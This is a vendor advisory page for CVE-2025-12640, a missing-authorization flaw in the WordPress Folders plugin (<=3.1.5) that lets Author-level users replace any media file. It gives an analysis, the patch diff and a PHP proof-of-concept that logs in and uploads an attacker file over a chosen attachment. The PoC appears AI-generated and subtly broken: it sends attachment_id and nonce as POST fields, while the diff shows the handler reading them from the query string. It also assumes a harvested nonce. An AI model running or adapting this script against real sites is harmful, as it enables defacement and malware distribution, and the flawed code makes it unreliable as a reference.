Atomic Edge Proof of Concept automated generator using AI diff analysis
Published : March 18, 2026

CVE-2025-12640: Folders – Unlimited Folders to Organize Media Library Folder, Pages, Posts, File Manager <= 3.1.5 – Missing Authorization to Authenticated (Author+) Media Replacement (folders)

Plugin folders
Severity Medium (CVSS 4.3)
CWE 862
Vulnerable Version 3.1.5
Patched Version 3.1.6
Disclosed January 6, 2026

Analysis Overview

Atomic Edge analysis of CVE-2025-12640:
The Folders WordPress plugin version 3.1.5 and earlier contains an unauthorized arbitrary media replacement vulnerability. This flaw allows authenticated attackers with Author-level permissions or higher to replace any media file in the WordPress Media Library. The vulnerability stems from missing authorization checks in the file upload handler function.

The root cause is missing object-level authorization in the handle_folders_file_upload() function within the /folders/includes/media.replace.php file. The function at line 1180 processes file uploads for media replacement. Before the patch, the function only verified the existence of a nonce and the target attachment GUID. It did not validate whether the current user had permission to edit the specific attachment being replaced. The vulnerable code path accepted requests via the wp-admin/admin-ajax.php endpoint with the action parameter set to handle_folders_file_upload.

Exploitation requires an authenticated attacker with at least Author-level access. The attacker sends a POST request to /wp-admin/admin-ajax.php with action=handle_folders_file_upload. The request includes the attachment_id parameter specifying the target media file ID and a valid nonce. The attacker uploads a malicious file via the new_media_file parameter. The plugin replaces the original media file with the attacker’s file while preserving the original file’s URL and metadata, effectively overwriting legitimate content.

The patch adds proper authorization checks in the handle_folders_file_upload() function at lines 1195-1197. The fix introduces two capability checks: current_user_can(‘edit_post’, $attachment_id) verifies the user can edit the specific attachment, and current_user_can(‘upload_files’) confirms general upload permissions. If either check fails, the function terminates with an error message. This ensures only users with appropriate permissions can replace media files they own or have editing rights for.

Successful exploitation allows attackers to replace arbitrary media files in the WordPress Media Library. This can lead to content defacement, malware distribution via replaced images or documents, and potential privilege escalation if replaced files execute malicious code. The vulnerability affects the integrity of media assets across the entire WordPress site, potentially impacting all users who view or download the compromised files.

Differential between vulnerable and patched code

Code Diff
--- a/folders/folders.php
+++ b/folders/folders.php
@@ -2,7 +2,7 @@
 /**
  * Plugin Name: Folders
  * Description: Organize your Media library, Pages, and Posts into folders. You can easily drag and drop items into directories and change the folders tree view.
- * Version: 3.1.5
+ * Version: 3.1.6
  * Author: Premio
  * Author URI: https://premio.io/downloads/folders/
  * Text Domain: folders
@@ -28,7 +28,7 @@
     define('WCP_FOLDER_URL', plugin_dir_url(__FILE__));
 }
 if(!defined("WCP_FOLDER_VERSION")) {
-    define('WCP_FOLDER_VERSION', "3.1.5");
+    define('WCP_FOLDER_VERSION', "3.1.6");
 }
 if(!defined("IS_FOLDERS_DEVELOPER_MODE")) {
     define('IS_FOLDERS_DEVELOPER_MODE', false);
@@ -117,7 +117,6 @@

 /* Affiliate Class*/
 if(is_admin()) {
-    include_once plugin_dir_path(__FILE__)."includes/class-affiliate.php";
     include_once plugin_dir_path(__FILE__) . "includes/class-review-box.php";
     include_once plugin_dir_path(__FILE__) . "includes/class-email-signup.php";
     include_once plugin_dir_path(__FILE__) . "includes/class-help.php";
--- a/folders/includes/class-polylang.php
+++ b/folders/includes/class-polylang.php
@@ -73,7 +73,7 @@

         if ($this->active) {
             if (isset($polylang->curlang) && is_object($polylang->curlang)) {
-                if(method_exists($polylang->curlang, 'get_tax_prop')) {
+                if (method_exists($polylang->curlang, 'get_tax_prop')) {
                     $this->poly_lang_term_taxonomy_id = $polylang->curlang->get_tax_prop('language', 'term_taxonomy_id');
                 } else {
                     $this->poly_lang_term_taxonomy_id = $polylang->curlang->term_taxonomy_id;
@@ -83,8 +83,18 @@
                 add_filter('premio_folder_un_categorized_items', [$this, 'un_categorized_items'], 10, 2);
                 add_filter('premio_folder_all_categorized_items', [$this, 'all_categorized_items'], 10, 2);
             }
-        }

+            $user_id = get_current_user_id();
+            $current = pll_current_language();
+            $previous = get_user_meta($user_id, '_admin_lang_last', true);
+            $previous = $previous ? $previous : 'all';
+            $current = $current ? $current : 'all';
+
+            if ($previous !== $current) {
+                delete_transient("premio_folders_without_trash");
+                update_user_meta($user_id, '_admin_lang_last', $current);
+            }
+        }
     }//end init()


--- a/folders/includes/class-wpml.php
+++ b/folders/includes/class-wpml.php
@@ -118,6 +118,18 @@

             $this->sitepress         = $sitepress;
             $this->post_translations = $sitepress->post_translations();
+
+            $user_id = get_current_user_id();
+
+            $current = apply_filters('wpml_current_language', null);
+            $previous = get_user_meta($user_id, '_icl_admin_language_last', true);
+            $previous = $previous ? $previous : 'all';
+            $current = $current ? $current : 'all';
+
+            if ($previous !== $current) {
+                delete_transient("premio_folders_without_trash");
+                update_user_meta($user_id, '_icl_admin_language_last', $current);
+            }
         }

         if ($this->isWPMLActive) {
@@ -185,24 +197,6 @@

             $query            = $wpdb->prepare($query, [$term_taxonomy_id, $this->lang]);
             $all_ids          = $wpdb->get_var($query);
-//            $counter          = 0;
-//            if (count($all_ids) > 0) {
-//                $select = "SELECT COUNT(P.ID) as total_records FROM {$wpdb->posts} AS P";
-//                $where = ["P.ID = (%s)"];
-//
-//                if($post_type == 'attachment') {
-//                    $where[] = " (P.post_status = 'inherit' OR P.post_status = 'private')";
-//                } else {
-//                    $where[] = " P.post_status != 'trash'";
-//                }
-//
-//                $join = apply_filters( 'folders_count_join_query', "" );
-//                $where = apply_filters( 'folders_count_where_query', $where );
-//
-//                $query = $select . $join . " WHERE ".implode( ' AND ', $where );
-////                $query   = $wpdb->prepare($query, [implode(',', $all_ids)]);
-////                $counter = $wpdb->get_var($query);
-//            }

             return !empty($all_ids) ? $all_ids : 0;
         }//end if
--- a/folders/includes/folders.class.php
+++ b/folders/includes/folders.class.php
@@ -128,9 +128,7 @@
         // Update Parent Data
         add_action('wp_ajax_wcp_mark_un_mark_folder', [$this, 'wcp_mark_un_mark_folder']);
         // Update Parent Data
-        add_action('wp_ajax_wcp_make_sticky_folder', [$this, 'wcp_make_sticky_folder']);
-        // Update Parent Data
-        add_action('wp_ajax_wcp_change_post_folder', [$this, 'wcp_change_post_folder']);
+        add_action('wp_ajax_wcp_make_sticky_folder', [$this, 'wcp_make_sticky_folder']);
         // Update Parent Data
         add_action('wp_ajax_wcp_change_multiple_post_folder', [$this, 'wcp_change_multiple_post_folder']);
         // Update width Data
@@ -716,6 +714,9 @@
         if (!isset($postData['nonce']) || empty($postData['nonce'])) {
             $response['message'] = esc_html__("Your request is not valid", 'folders');
             $errorCounter++;
+        } else if (!current_user_can('manage_options')) {
+            $response['message'] = esc_html__("You have not permission to remove all folders data", 'folders');
+            $errorCounter++;
         } else {
             $type  = self::sanitize_options($postData['type']);
             $nonce = self::sanitize_options($postData['nonce']);
@@ -726,6 +727,7 @@
         }

         if ($errorCounter == 0) {
+
             self::$folders = 0;
             self::remove_folder_by_taxonomy("media_folder");
             self::remove_folder_by_taxonomy("folder");
@@ -736,13 +738,16 @@
                 "post",
                 "attachment",
             ];
+
             foreach ($post_types as $post_type) {
                 if (!in_array($post_type->name, $post_array)) {
                     self::remove_folder_by_taxonomy($post_type->name.'_folder');
                 }
             }

+            delete_option('folders_settings');
             delete_option('default_folders');
+            delete_option('customize_folders');
             $response['status'] = 1;
             $response['data']   = [
                 'items' => self::$folders,
@@ -768,7 +773,7 @@
         $query   = "SELECT * FROM ".$wpdb->term_taxonomy."
 					LEFT JOIN  ".$wpdb->terms."
 					ON  ".$wpdb->term_taxonomy.".term_id =  ".$wpdb->terms.".term_id
-					WHERE ".$wpdb->term_taxonomy.".taxonomy = '%d'
+					WHERE ".$wpdb->term_taxonomy.".taxonomy = '%s'
 					ORDER BY parent ASC";
         $query   = $wpdb->prepare($query, $taxonomy);
         $folders = $wpdb->get_results($query);
@@ -1045,8 +1050,9 @@
                         if ($trash_count == null && isset($trash_folders[$term->term_taxonomy_id]) && !$polylang_is_active) {
                             $trash_count = $trash_folders[$term->term_taxonomy_id];
                         } else if ($trash_count == null) {
-
-                            if ($trash_count === null) {
+                            if (isset($trash_folders[$term->term_taxonomy_id])) {
+                                $trash_count = $trash_folders[$term->term_taxonomy_id];
+                            } else {
                                 $query = "SELECT COUNT(DISTINCT(p.ID))
                                     FROM {$post_table} p
                                         JOIN {$term_table} rl ON p.ID = rl.object_id
@@ -3123,7 +3129,8 @@
         $response['data']    = [];
         $response['message'] = "";
         $postData            = filter_input_array(INPUT_POST);
-        $errorCounter        = 0;
+        $errorCounter        = 0;
+
         if (!isset($postData['post_ids']) || empty($postData['post_ids'])) {
             $response['message'] = esc_html__("Your request is not valid", 'folders');
             $errorCounter++;
@@ -3228,7 +3235,10 @@
         } else if (!isset($postData['nonce']) || empty($postData['nonce'])) {
             $response['message'] = esc_html__("Your request is not valid", 'folders');
             $errorCounter++;
-        } else {
+        } else if ( !current_user_can( 'edit_posts' ) ) {
+            $response['message'] = esc_html__("You have not permission to undo folder changes", 'folders');
+            $errorCounter++;
+        }else {
             if (!wp_verify_nonce($postData['nonce'], 'wcp_folder_nonce_'.$postData['post_type'])) {
                 $response['message'] = esc_html__("Your request is not valid", 'folders');
                 $errorCounter++;
@@ -3280,83 +3290,7 @@

     }//end wcp_undo_folder_changes()

-
-    /**
-     * Change post, page, attachment folder
-     *
-     * @since  1.0.0
-     * @access public
-     * @return $response
-     */
-    public function wcp_change_post_folder()
-    {
-        $response            = [];
-        $response['status']  = 0;
-        $response['error']   = 0;
-        $response['data']    = [];
-        $response['message'] = "";
-        $postData            = filter_input_array(INPUT_POST);
-        $errorCounter        = 0;
-        if (!isset($postData['post_id']) || empty($postData['post_id'])) {
-            $errorCounter++;
-            $response['message'] = esc_html__("Your request is not valid", 'folders');
-        } else if (!isset($postData['folder_id']) || empty($postData['folder_id'])) {
-            $errorCounter++;
-            $response['message'] = esc_html__("Your request is not valid", 'folders');
-        } else if (!isset($postData['type']) || empty($postData['type'])) {
-            $errorCounter++;
-            $response['message'] = esc_html__("Your request is not valid", 'folders');
-        } else if (!isset($postData['nonce']) || empty($postData['nonce'])) {
-            $response['message'] = esc_html__("Your request is not valid", 'folders');
-            $errorCounter++;
-        } else if ($postData['type'] == "page" && !current_user_can("edit_pages")) {
-            $response['message'] = esc_html__("You have not permission to update folder", 'folders');
-            $errorCounter++;
-        } else if ($postData['type'] != "page" && !current_user_can("edit_posts")) {
-            $response['message'] = esc_html__("You have not permission to update folder", 'folders');
-            $errorCounter++;
-        } else {
-            $term_id = self::sanitize_options($postData['folder_id']);
-            if (!wp_verify_nonce($postData['nonce'], 'wcp_folder_term_'.$term_id)) {
-                $response['message'] = esc_html__("Your request is not valid", 'folders');
-                $errorCounter++;
-            }
-        }//end if
-
-        if ($errorCounter == 0) {
-            $postID   = self::sanitize_options($postData['post_id']);
-            $folderID = self::sanitize_options($postData['folder_id']);
-            $type     = self::sanitize_options($postData['type']);
-            $folder_post_type = self::get_custom_post_type($type);
-            $status           = 0;
-            if (isset($postData['status'])) {
-                $status = self::sanitize_options($postData['status']);
-            }
-
-            $status   = ($status == 1) ? true : false;
-            $taxonomy = "";
-            if (isset($postData['taxonomy'])) {
-                $taxonomy = self::sanitize_options($postData['taxonomy']);
-            }
-
-            $terms = get_the_terms($postID, $folder_post_type);
-            if (!empty($terms)) {
-                foreach ($terms as $term) {
-                    if (!empty($taxonomy) && ($term->term_id == $taxonomy || $term->slug == $taxonomy)) {
-                        wp_remove_object_terms($postID, $term->term_id, $folder_post_type);
-                    }
-                }
-            }
-
-            wp_set_post_terms($postID, $folderID, $folder_post_type, true);
-            $response['status'] = 1;
-        }//end if
-
-        echo wp_json_encode($response);
-        wp_die();
-
-    }//end wcp_change_post_folder()
-
+

     /**
      * Mark/Unmark folder
--- a/folders/includes/media.replace.php
+++ b/folders/includes/media.replace.php
@@ -1180,7 +1180,9 @@
      */
     public function handle_folders_file_upload() {
         global $wpdb;
+
         if(isset($_FILES['new_media_file'])) {
+
             if($_FILES['new_media_file']['error'] == 0) {
                 $attachment_id = isset($_GET['attachment_id']) ? sanitize_text_field($_GET['attachment_id']) : '';
                 $nonce = isset($_GET['nonce']) ? sanitize_text_field($_GET['nonce']) : '';
@@ -1191,6 +1193,12 @@
                 if (empty($attachment) || !isset($attachment->guid)) {
                     return;
                 }
+
+                // Security: Check if current user has permission to edit this attachment
+                if (!current_user_can('edit_post', $attachment_id) || !current_user_can('upload_files')) {
+                    wp_die(esc_html__("Sorry, you don't have permission to replace this media file.", "folders"));
+                }
+
                 $attachment_url = $attachment->guid;
                 $url = wp_get_attachment_url($attachment_id);
                 if(!empty($url)) {
--- a/folders/templates/admin/admin-content.php
+++ b/folders/templates/admin/admin-content.php
@@ -229,7 +229,7 @@
                         <div class="folder-separator-2"></div>
                         <div class="folders-action-menu">
                             <ul>
-                                <li style="flex: 0 0 22px;"><a href="#" class="no-bg"><input type="checkbox" id="menu-checkbox" ></a></li>
+                                <li style="align-items: center; justify-content: center; vertical-align: middle; display: flex;"> <span class="no-bg full-width"><input type="checkbox" id="menu-checkbox" ></span></li>
                                 <li class="folder-inline-tooltip">
                                     <a class="full-width upload-media-action disabled" target="_blank" href="<?php echo esc_url($this->getFoldersUpgradeURL()) ?>">
                                         <span class="inline-tooltip"><?php esc_html_e("Uploading folder is pro feature", "folders"); ?> <span><?php esc_html_e("Upgrade Now 🎉", "folders") ?></span></span>

Proof of Concept (PHP)

NOTICE :

This proof-of-concept is provided for educational and authorized security research purposes only.

You may not use this code against any system, application, or network without explicit prior authorization from the system owner.

Unauthorized access, testing, or interference with systems may violate applicable laws and regulations in your jurisdiction.

This code is intended solely to illustrate the nature of a publicly disclosed vulnerability in a controlled environment and may be incomplete, unsafe, or unsuitable for real-world use.

By accessing or using this information, you acknowledge that you are solely responsible for your actions and compliance with applicable laws.

 
PHP PoC
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept
// CVE-2025-12640 - Folders – Unlimited Folders to Organize Media Library Folder, Pages, Posts, File Manager <= 3.1.5 - Missing Authorization to Authenticated (Author+) Media Replacement

<?php
/**
 * Proof of Concept for CVE-2025-12640
 * Requires: Author-level WordPress account credentials
 * Target: WordPress site with Folders plugin <= 3.1.5
 */

$target_url = 'https://vulnerable-site.com'; // CHANGE THIS
$username = 'author_user'; // CHANGE THIS
$password = 'author_pass'; // CHANGE THIS
$attachment_id = 123; // CHANGE THIS - ID of media file to replace

// Initialize cURL session for WordPress authentication
$ch = curl_init();

// Step 1: Authenticate to WordPress and get nonce
$login_url = $target_url . '/wp-login.php';
$login_data = [
    'log' => $username,
    'pwd' => $password,
    'wp-submit' => 'Log In',
    'redirect_to' => $target_url . '/wp-admin/',
    'testcookie' => '1'
];

curl_setopt($ch, CURLOPT_URL, $login_url);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($login_data));
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_COOKIEJAR, 'cookies.txt');
curl_setopt($ch, CURLOPT_COOKIEFILE, 'cookies.txt');
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);

$response = curl_exec($ch);

// Step 2: Get the nonce from Folders plugin AJAX handler
// The nonce is typically available in JavaScript variables on admin pages
// For this PoC, we assume the attacker has obtained a valid nonce
// In real exploitation, the nonce would be harvested from admin pages
$nonce = 'abc123def456'; // CHANGE THIS - Valid nonce from wp_create_nonce()

// Step 3: Prepare malicious file upload
$malicious_file = [
    'name' => 'malicious.jpg',
    'type' => 'image/jpeg',
    'tmp_name' => '/tmp/malicious.jpg', // Path to attacker's file
    'error' => 0,
    'size' => filesize('/tmp/malicious.jpg')
];

// Step 4: Exploit the vulnerability
$ajax_url = $target_url . '/wp-admin/admin-ajax.php';
$exploit_data = [
    'action' => 'handle_folders_file_upload',
    'attachment_id' => $attachment_id,
    'nonce' => $nonce
];

// Create CURLFile object for file upload
$cfile = new CURLFile('/tmp/malicious.jpg', 'image/jpeg', 'malicious.jpg');
$exploit_data['new_media_file'] = $cfile;

curl_setopt($ch, CURLOPT_URL, $ajax_url);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, $exploit_data);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);

$response = curl_exec($ch);

// Step 5: Check if exploit succeeded
if (strpos($response, 'success') !== false || strpos($response, 'status":1') !== false) {
    echo "[+] Exploit successful! Media file ID $attachment_id has been replaced.n";
    echo "[+] Response: " . $response . "n";
} else {
    echo "[-] Exploit failed. Response: " . $response . "n";
}

curl_close($ch);
?>

Frequently Asked Questions

How Atomic Edge Works

Simple Setup. Powerful Security.

Atomic Edge acts as a security layer between your website & the internet. Our AI inspection and analysis engine auto blocks threats before traditional firewall services can inspect, research and build archaic regex filters.

Get Started

Trusted by Developers & Organizations

Trusted by Developers
Blac&kMcDonaldCovenant House TorontoAlzheimer Society CanadaUniversity of TorontoHarvard Medical School